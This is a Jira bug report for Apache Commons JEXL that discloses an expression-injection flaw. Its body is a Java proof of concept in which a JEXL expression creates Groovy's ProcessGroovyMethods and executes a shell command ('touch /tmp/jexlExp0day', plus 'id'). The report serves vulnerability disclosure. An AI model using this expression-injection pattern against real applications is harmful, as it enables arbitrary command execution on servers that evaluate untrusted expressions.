[jira] [Created] (JEXL-223) Apache Commons JEXL Expression Execute Command Vulnerabilitity

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[jira] [Created] (JEXL-223) Apache Commons JEXL Expression Execute Command Vulnerabilitity

JIRA jira@apache.org
cnbird created JEXL-223:
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             Summary: Apache Commons JEXL Expression Execute Command Vulnerabilitity
                 Key: JEXL-223
                 URL: https://issues.apache.org/jira/browse/JEXL-223
             Project: Commons JEXL
          Issue Type: Bug
            Reporter: cnbird
            Priority: Critical


0x01 Summary
Apache Commons JEXL Expression Execute Command Vulnerabilitity throught groovy.

0x02 POC
import java.io.IOException;
import java.util.List;

import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlContext;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.apache.commons.jexl3.MapContext;
import org.codehaus.groovy.runtime.ProcessGroovyMethods;

public class elExp {
        public static void main(String args[]) throws IOException {
                // Create or retrieve an engine
            JexlEngine jexl = new JexlBuilder().create();
            // Create an expression
            //String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")";
            ProcessGroovyMethods n = new ProcessGroovyMethods();
            System.out.println(n.execute("id").toString());
            String jexlExp = "new(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"touch /tmp/jexlExp0day\")";
            JexlExpression e = jexl.createExpression( jexlExp );
            try {
           
                        Process process = new ProcessBuilder("id").start();
                } catch (IOException e1) {
                        // TODO Auto-generated catch block
                        e1.printStackTrace();
                }
            // Create a context and add data
            JexlContext jc = new MapContext();
            jc.set("foo", jexlExp );
           
            // Now evaluate the expression, getting the result
            Object o = e.evaluate(jc);
            System.out.println(o);
            }
}




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